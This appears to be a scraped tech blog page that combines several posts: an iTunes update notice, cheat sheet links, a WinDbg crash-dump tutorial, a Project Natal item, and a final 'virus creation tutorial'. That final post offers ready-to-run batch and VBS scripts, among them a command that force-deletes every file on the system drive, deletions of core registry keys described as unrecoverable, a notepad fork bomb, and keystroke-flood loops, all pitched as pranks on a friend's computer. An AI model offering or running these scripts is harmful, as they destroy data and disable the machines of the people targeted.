iTechnoBuzz!!

iTunes 9.1.1 – The new version of iTunes Media Player has been released to fix some bugs, and improve stability and performance. The change-log of iTunes 9.1.1 lists the following improvements:

• Addresses several stability issues with VoiceOver.
• Addresses a usability issue with VoiceOver and Genius Mixes.
• Addresses issues with converting songs to 128 kbps AAC while syncing.
• Addresses other issues that improve stability and performance.

Existing iTunes users can click on Help -> Check for Updates menu to initiate the manual upgrade to new version. Alternatively, one can download the iTunes 9.1.1 from “http://www.apple.com/itunes/download/” or from the direct official download links:

• iTunes 9.1.1 for Windows XP, Vista and Windows 7(32-bit) : “http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iTunes9/061-8203.20100427.1J2kd/iTunesSetup.exe“
• iTunes 9.1.1 for Windows XP, Vista and Windows 7(64-bit) : “http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iTunes9/061-8204.20100427.AEueJ/iTunes64Setup.exe“
• iTunes 9.1.1 for Mac OS X : “http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iTunes9/061-8202.20100427.5vfkH/iTunes9.1.1.dmg“

Hello Readers…

Here are some Must Have cheat sheets for all of you.  They will be extremely helpful to all of you for quick reference & usage.

Firefox Cheat Sheet (Windows)

Internet Explorer

Google Cheat Sheet

Google Reader Cheats

Linux Command Reference

Linux Manual

Mac OS X

Mozilla Thunderbird Cheat Sheet

Windows Shortcut

Firefox (Mac)

Enjoy friends.

There’s nothing worse. You’re deep in thought, working on a really important document, when suddenly the screen turns blue, a cryptic error message is displayed and your PC reboots, losing everything. Isn’t Windows just great?

These kind of blue screen crashes are usually due to a buggy driver, but even Windows Vista’s much improved error tracking system will rarely point you to the right file.

And so most people end up trying to live with an unstable PC, saving their documents regularly and hoping for the best.

But it doesn’t have to be this way.

When Windows crashes it normally saves a dump of the affected memory. Install the free Windows Debugging Tools and you can inspect this file, and get a verdict within minutes that could point you directly to the cause of your problems. Here’s what you need to do.

1. Download the debugger

Download the Debugging Tools from their home on the Microsoft site. The program works on everything from ancient Windows NT 4 PCs right up to Windows 2008, so you shouldn’t have any problems. The debugging tools aren’t quite as reliable in the Windows 7 beta, but can work according to our tests, so if you’re trying to diagnose problems with the beta then they may be worth a try.

2. Configure your system

You’ll need Windows to save your memory when crashes occur to provide information for the debugger, so it’s important that Windows is configured correctly. Right-click Computer and select Properties, click Advanced System Settings > Startup and Recovery Settings > and make sure “Write debugging information” is set to “Kernel memory dump” or “Complete memory dump”.

Click Start > All Programs > Debugging Tools > WinDbg, then select File > Symbol File Path. The debugging tools need to download data called “symbols” from Microsoft to help them make sense of your crash file, and you’ll give them the appropriate URL here. Enter

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

in the box, say, and symbols will be downloaded from msdl.microsoft.com and stored in the c:\symbols folder. Click OK when you’re done, then click File > Exit, selecting “Yes” when asked to save the workspace (which means the symbols path you’ve just added). And that’s it, your setup work is done.

3. Solve your problems

Now wait until a blue screen crash occurs, and your PC has rebooted. Then launch WinDbg again (Windows Vista users should right-click its shortcut and select Run As Administrator), click File > Open Crash Dump, and open the file \Windows\MEMORY.DMP. The program will immediately begin analysing the file.

WinDbg provides very little feedback to tell you what it’s doing, unfortunately, and you might think that program has locked up. But be patient. If you’re analysing 4 GB of RAM on an underpowered PC then it might take a very long time to complete, even hours, so you might want to leave it running overnight.

Normally you’ll get an answer within a few minutes, though, a line near the bottom of the Bugcheck Analysis that says something like “Probably caused by: thisfile.sys”. If this happens then Google for the file name, and find out where it’s originated. If the program has identified software or drivers that you’ve installed then you might want to try uninstalling or updating them, just to see if that fixes the problem.

Occasionally WinDbg can’t name any file at all, or just chooses a core Windows DLL. If this happens then click in the command window immediately above the status bar, type the command

!analyze -v

and press [Enter]. This will deliver a longer and more detailed report that may offer possible clues.

If you’re still out of luck then don’t worry, debugging is a complicated business, even for experts. Just close WinDbg down and try again after the next crash – that could well deliver better results.

Microsoft revealed Project Natal, which appears to be a game changer, not just for video games, but for all user interfaces in general.  Powered by stereoscopic speakers, microphones and a good pile of software, the device is able recognize fine motions and do full motion capture, recognize faces and even voices, and with the right software respond accordingly.

See the demo video below here:

Isn’t this a great new step in term of motion gaming. Tell us how you like the post.  Use the comment box.

Note:- The Following tutorial is for educational purpose only. If you harm your or your friend’s computer using the following tutorial, iTechnoBuzz is not responsible for your loss.

Here on www.itechnobuzz.com , I am going to provide some of my favorite .vbs codes, I use to play with in my childhood days. You can use these codes as a small term virus. Hence , you can also call this tutorial a virus creation tutorial.

To use the codes I am going to provide, all you need to do is to copy the codes from iTechnoBuzz, paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.

-The blue screen of Death [this might be dangerous]

Code:-

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

-Stupidity Shutdown

*This pops up a funny message then will shutdown the computer*

code:-

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10

-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*

Code:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked.  Have a nice day.
GOTO MESSAGE

-Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*

Code:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

-Crazy caps lock

*This constantly turns caps lock on and off really fast continuously*

Code:-

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

-Endless Enter

*This constantly makes it so the enter button is being pressed continuesly*

Code:-

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

-Endless Backspace

*This makes it so the backspace key is constantly being pressed*

Code:-

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

-Popping CD Drives

*This will make the CD drives constantly pop out*

Code:-

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop